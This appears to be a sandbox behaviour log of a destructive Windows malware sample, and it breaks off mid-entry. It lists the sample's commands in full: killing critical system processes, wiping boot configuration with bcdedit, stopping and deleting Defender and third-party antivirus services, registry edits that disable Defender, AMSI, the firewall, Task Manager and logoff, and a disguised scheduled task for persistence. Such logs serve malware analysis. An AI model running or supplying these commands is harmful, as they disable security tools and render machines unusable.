- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3284
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3144
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2748
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1824
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2644
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1384
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4388
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3712
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4180
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2648
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4480
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3980
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4436
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1196
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:1928
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3044
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4512
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:552
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:2920
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:908
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3252
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3052
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:4404
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:3120
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5124
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5132
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5140
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5160
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5172
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5192
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5216
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5236
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5252
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5272
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5288
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5304
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5312
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5320
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5332
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5340
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5348
- C:\Windows\system32\cmd.exe
  cmd /c "title & color 0c & echo & pause >nul"
  2⤵
  PID:5376
- C:\Windows\system32\msg.exe
  msg * ""
  2⤵
  PID:5432
- C:\Windows\system32\taskkill.exe
  taskkill /f /im csrss.exe
  2⤵
  - Kills process with taskkill
  PID:5448
- C:\Windows\system32\taskkill.exe
  taskkill /f /im winlogon.exe
  2⤵
  - Kills process with taskkill
  PID:5496
- C:\Windows\system32\taskkill.exe
  taskkill /f /im services.exe
  2⤵
  - Kills process with taskkill
  PID:5532
- C:\Windows\system32\taskkill.exe
  taskkill /f /im LogonUI.exe
  2⤵
  - Kills process with taskkill
  PID:5572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Public\crash.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5608
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ckpg14zi\ckpg14zi.cmdline"
    3⤵
    PID:5968
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFCC5.tmp" "c:\Users\Admin\AppData\Local\Temp\ckpg14zi\CSCFFF92E316E3442A2B734371973D3A7C.TMP"
      4⤵
      PID:6004
- - C:\Windows\system32\bcdedit.exe
    "C:\Windows\system32\bcdedit.exe" /createstore C:\Users\Admin\AppData\Local\Temp\empty.bcd
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6052
- - C:\Windows\system32\bcdedit.exe
    "C:\Windows\system32\bcdedit.exe" /import C:\Users\Admin\AppData\Local\Temp\empty.bcd /clean
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6072
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop WinDefend
    3⤵
    PID:6092
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WinDefend start= disabled
    3⤵
    PID:6108
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete WinDefend
    3⤵
    PID:6124
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:6140
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WdNisSvc start= disabled
    3⤵
    PID:5432
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete WdNisSvc
    3⤵
    - Launches sc.exe
    PID:5452
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop wscsvc
    3⤵
    PID:5508
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config wscsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:5496
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete wscsvc
    3⤵
    PID:5556
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop mpssvc
    3⤵
    PID:5568
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config mpssvc start= disabled
    3⤵
    PID:5596
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete mpssvc
    3⤵
    PID:5660
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop BITS
    3⤵
    PID:5476
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config BITS start= disabled
    3⤵
    PID:4980
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete BITS
    3⤵
    PID:5524
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop wuauserv
    3⤵
    PID:5756
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:5648
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete wuauserv
    3⤵
    PID:824
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop TrustedInstaller
    3⤵
    - Launches sc.exe
    PID:4888
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config TrustedInstaller start= disabled
    3⤵
    PID:2168
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete TrustedInstaller
    3⤵
    PID:2536
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" stop CryptSvc
    3⤵
    PID:3356
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config CryptSvc start= disabled
    3⤵
    PID:5956
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" delete CryptSvc
    3⤵
    PID:4664
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /f C:\Windows\System32\config /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6016
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" C:\Windows\System32\config /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6032

C:\Windows\system32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:940
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:2100

C:\Windows\system32\timeout.exe
timeout /t 5 /nobreak
1⤵
- Delays execution with timeout.exe
PID:436

C:\Windows\system32\schtasks.exe
schtasks /create /tn "MicrosoftEdgeUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /sc onlogon /rl highest /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5100

C:\Windows\system32\sc.exe
sc stop WinDefend
1⤵
PID:5004

C:\Windows\system32\sc.exe
sc config WinDefend start= disabled
1⤵
- Launches sc.exe
PID:3480

C:\Windows\system32\sc.exe
sc stop WdNisSvc
1⤵
PID:3284

C:\Windows\system32\sc.exe
sc config WdNisSvc start= disabled
1⤵
PID:1500

C:\Windows\system32\sc.exe
sc stop Sense
1⤵
PID:4732

C:\Windows\system32\sc.exe
sc config Sense start= disabled
1⤵
PID:4576

C:\Windows\system32\sc.exe
sc stop WdFilter
1⤵
PID:964

C:\Windows\system32\sc.exe
sc config WdFilter start= disabled
1⤵
PID:3228

C:\Windows\system32\sc.exe
sc stop WebThreatDefSvc
1⤵
PID:2348

C:\Windows\system32\sc.exe
sc config WebThreatDefSvc start= disabled
1⤵
PID:3524

C:\Windows\system32\sc.exe
sc stop MsSecCore
1⤵
- Launches sc.exe
PID:4324

C:\Windows\system32\sc.exe
sc config MsSecCore start= disabled
1⤵
- Launches sc.exe
PID:5068

C:\Windows\system32\sc.exe
sc stop wscsvc
1⤵
PID:4776

C:\Windows\system32\sc.exe
sc config wscsvc start= disabled
1⤵
PID:4468

C:\Windows\system32\sc.exe
sc stop SecurityHealthService
1⤵
- Launches sc.exe
PID:3276

C:\Windows\system32\sc.exe
sc config SecurityHealthService start= disabled
1⤵
PID:5036

C:\Windows\system32\sc.exe
sc stop mpssvc
1⤵
PID:4952

C:\Windows\system32\sc.exe
sc config mpssvc start= disabled
1⤵
PID:2608

C:\Windows\system32\sc.exe
sc stop BITS
1⤵
PID:4364

C:\Windows\system32\sc.exe
sc config BITS start= disabled
1⤵
PID:4100

C:\Windows\system32\sc.exe
sc stop UsoSvc
1⤵
PID:780

C:\Windows\system32\sc.exe
sc config UsoSvc start= disabled
1⤵
- Launches sc.exe
PID:8

C:\Windows\system32\sc.exe
sc stop McAfeeFramework
1⤵
- Launches sc.exe
PID:4856

C:\Windows\system32\sc.exe
sc config McAfeeFramework start= disabled
1⤵
- Launches sc.exe
PID:5088

C:\Windows\system32\sc.exe
sc stop McShield
1⤵
PID:4236

C:\Windows\system32\sc.exe
sc config McShield start= disabled
1⤵
PID:4304

C:\Windows\system32\sc.exe
sc stop mfefire
1⤵
PID:4228

C:\Windows\system32\sc.exe
sc config mfefire start= disabled
1⤵
- Launches sc.exe
PID:1400

C:\Windows\system32\sc.exe
sc stop mfevtp
1⤵
- Launches sc.exe
PID:4804

C:\Windows\system32\sc.exe
sc config mfevtp start= disabled
1⤵
- Launches sc.exe
PID:4352

C:\Windows\system32\sc.exe
sc stop NortonSecurity
1⤵
PID:3920

C:\Windows\system32\sc.exe
sc config NortonSecurity start= disabled
1⤵
PID:3220

C:\Windows\system32\sc.exe
sc stop ccSetMgr
1⤵
PID:3100

C:\Windows\system32\sc.exe
sc config ccSetMgr start= disabled
1⤵
PID:876

C:\Windows\system32\sc.exe
sc stop AVP
1⤵
- Launches sc.exe
PID:416

C:\Windows\system32\sc.exe
sc config AVP start= disabled
1⤵
- Launches sc.exe
PID:4980

C:\Windows\system32\sc.exe
sc stop klif
1⤵
- Launches sc.exe
PID:1196

C:\Windows\system32\sc.exe
sc config klif start= disabled
1⤵
PID:4624

C:\Windows\system32\sc.exe
sc stop klim6
1⤵
PID:4428

C:\Windows\system32\sc.exe
sc config klim6 start= disabled
1⤵
PID:1772

C:\Windows\system32\sc.exe
sc stop klwtp
1⤵
- Launches sc.exe
PID:4872

C:\Windows\system32\sc.exe
sc config klwtp start= disabled
1⤵
- Launches sc.exe
PID:3860

C:\Windows\system32\sc.exe
sc stop VSSERV
1⤵
PID:4500

C:\Windows\system32\sc.exe
sc config VSSERV start= disabled
1⤵
PID:700

C:\Windows\system32\sc.exe
sc stop bdredline
1⤵
PID:4932

C:\Windows\system32\sc.exe
sc config bdredline start= disabled
1⤵
PID:2264

C:\Windows\system32\sc.exe
sc stop updatesrv
1⤵
- Launches sc.exe
PID:984

C:\Windows\system32\sc.exe
sc config updatesrv start= disabled
1⤵
- Launches sc.exe
PID:4404

C:\Windows\system32\sc.exe
sc stop MBAMService
1⤵
PID:2180

C:\Windows\system32\sc.exe
sc config MBAMService start= disabled
1⤵
PID:4676

C:\Windows\system32\sc.exe
sc stop MBAMChameleon
1⤵
PID:4376

C:\Windows\system32\sc.exe
sc config MBAMChameleon start= disabled
1⤵
PID:3916

C:\Windows\system32\sc.exe
sc stop Sophos
1⤵
PID:1124

C:\Windows\system32\sc.exe
sc config Sophos start= disabled
1⤵
PID:920

C:\Windows\system32\sc.exe
sc stop Health
1⤵
PID:2256

C:\Windows\system32\sc.exe
sc config Health start= disabled
1⤵
PID:3444

C:\Windows\system32\sc.exe
sc stop Sophos
1⤵
- Launches sc.exe
PID:3148

C:\Windows\system32\sc.exe
sc config Sophos start= disabled
1⤵
PID:2584

C:\Windows\system32\sc.exe
sc stop Anti-Virus
1⤵
PID:1344

C:\Windows\system32\sc.exe
sc config Anti-Virus start= disabled
1⤵
PID:4320

C:\Windows\system32\sc.exe
sc stop SAVService
1⤵
PID:4672

C:\Windows\system32\sc.exe
sc config SAVService start= disabled
1⤵
PID:3900

C:\Windows\system32\sc.exe
sc stop ekrn
1⤵
- Launches sc.exe
PID:3892

C:\Windows\system32\sc.exe
sc config ekrn start= disabled
1⤵
- Launches sc.exe
PID:2596

C:\Windows\system32\sc.exe
sc stop egui
1⤵
PID:4752

C:\Windows\system32\sc.exe
sc config egui start= disabled
1⤵
- Launches sc.exe
PID:1168

C:\Windows\system32\sc.exe
sc stop epfw
1⤵
PID:4628

C:\Windows\system32\sc.exe
sc config epfw start= disabled
1⤵
PID:4068

C:\Windows\system32\sc.exe
sc stop TMBMSRV
1⤵
- Launches sc.exe
PID:2008

C:\Windows\system32\sc.exe
sc config TMBMSRV start= disabled
1⤵
PID:3672

C:\Windows\system32\sc.exe
sc stop ntrtscan
1⤵
PID:3944

C:\Windows\system32\sc.exe
sc config ntrtscan start= disabled
1⤵
PID:1624

C:\Windows\system32\sc.exe
sc stop TmPfw
1⤵
PID:1540

C:\Windows\system32\sc.exe
sc config TmPfw start= disabled
1⤵
PID:2248

C:\Windows\system32\sc.exe
sc stop avast
1⤵
PID:216

C:\Windows\system32\sc.exe
sc config avast start= disabled
1⤵
- Launches sc.exe
PID:4904

C:\Windows\system32\sc.exe
sc stop aswbIDSAgent
1⤵
PID:3808

C:\Windows\system32\sc.exe
sc config aswbIDSAgent start= disabled
1⤵
PID:3820

C:\Windows\system32\sc.exe
sc stop sophosautoupdate
1⤵
- Launches sc.exe
PID:3064

C:\Windows\system32\sc.exe
sc config sophosautoupdate start= disabled
1⤵
- Launches sc.exe
PID:2332

C:\Windows\system32\sc.exe
sc stop ASdSvc
1⤵
PID:2772

C:\Windows\system32\sc.exe
sc config ASdSvc start= disabled
1⤵
PID:460

C:\Windows\system32\sc.exe
sc stop bdservicehost
1⤵
- Launches sc.exe
PID:5080

C:\Windows\system32\sc.exe
sc config bdservicehost start= disabled
1⤵
PID:3392

C:\Windows\system32\sc.exe
sc stop bdagent
1⤵
- Launches sc.exe
PID:1212

C:\Windows\system32\sc.exe
sc config bdagent start= disabled
1⤵
- Launches sc.exe
PID:4216

C:\Windows\system32\timeout.exe
timeout /t 5 /nobreak
1⤵
- Delays execution with timeout.exe
PID:1620

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2768

C:\Windows\system32\powercfg.exe
powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS PBUTTONACTION 0
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4584

C:\Windows\system32\powercfg.exe
powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS PBUTTONACTION 0
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4288

C:\Windows\system32\powercfg.exe
powercfg -setacvalueindex SCHEME_CURRENT SUB_BUTTONS SBUTTONACTION 0
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4176

C:\Windows\system32\powercfg.exe
powercfg -setdcvalueindex SCHEME_CURRENT SUB_BUTTONS SBUTTONACTION 0
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4572

C:\Windows\system32\powercfg.exe
powercfg -setactive SCHEME_CURRENT
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4880

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
1⤵
- Modifies Windows Defender TamperProtection settings
PID:3712

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:3920

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
1⤵
PID:3220

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:3124

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:4516

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:416

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:1368

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
1⤵
PID:4080

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
1⤵
PID:2756

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:4428

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f
1⤵
PID:4332

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v "DebugMode" /t REG_DWORD /d 1 /f
1⤵
PID:4812

C:\Windows\system32\netsh.exe
netsh advfirewall set allprofiles state off #
1⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:468

C:\Windows\system32\takeown.exe
takeown /f "C:\Windows\System32\shutdown.exe"
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3280

C:\Windows\system32\takeown.exe
takeown /f "C:\Windows\System32\logoff.exe"
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2204

C:\Windows\system32\icacls.exe
icacls "C:\Windows\System32\shutdown.exe" /deny *S-1-1-0:(X)
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1464

C:\Windows\system32\icacls.exe
icacls "C:\Windows\System32\logoff.exe" /deny *S-1-1-0:(X)
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3148

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:4312

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:1048

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:4672

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:3404

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:1644

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
1⤵
- Modifies firewall policy service
PID:520

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
1⤵
PID:3588

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f
1⤵
PID:1492

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2252

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2020

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
1⤵
PID:1996

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSetFolders" /t REG_DWORD /d 1 /f
1⤵
PID:4068

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:4144

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:332

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:3724

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:644

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f
1⤵
PID:1888

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTrayItemsDisplay" /t REG_DWORD /d 1 /f
1⤵
PID:3416

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWinKeys" /t REG_DWORD /d 1 /f
1⤵
PID:472

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1304

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTaskbar" /t REG_DWORD /d 1 /f
1⤵
PID:228

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenu" /t REG_DWORD /d 1 /f
1⤵
PID:212

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /t REG_DWORD /d 1 /f
1⤵
PID:2612

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSecurityCenter" /t REG_DWORD /d 1 /f
1⤵
PID:3028

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v "Start" /t REG_DWORD /d 4 /f
1⤵
PID:2132

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:2248

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v "Flags" /t REG_SZ /d "122" /f
1⤵
PID:3476

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v "Flags" /t REG_SZ /d "58" /f
1⤵
PID:3320

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\MouseKeys" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:4056

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\HighContrast" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:1460

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\Narrator" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:4488

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\Magnifier" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:2332

C:\Windows\system32\reg.exe
reg add "HKCU\Control Panel\Accessibility\OnScreenKeyboard" /v "Flags" /t REG_SZ /d "506" /f
1⤵
PID:2436

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCAD /t REG_DWORD /d 1 /f
1⤵
PID:1392

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:460

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
1⤵
PID:4788

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
1⤵
PID:764

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
1⤵
PID:4216

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
1⤵
PID:268

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
1⤵
PID:284

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:4060

C:\Windows\system32\reg.exe
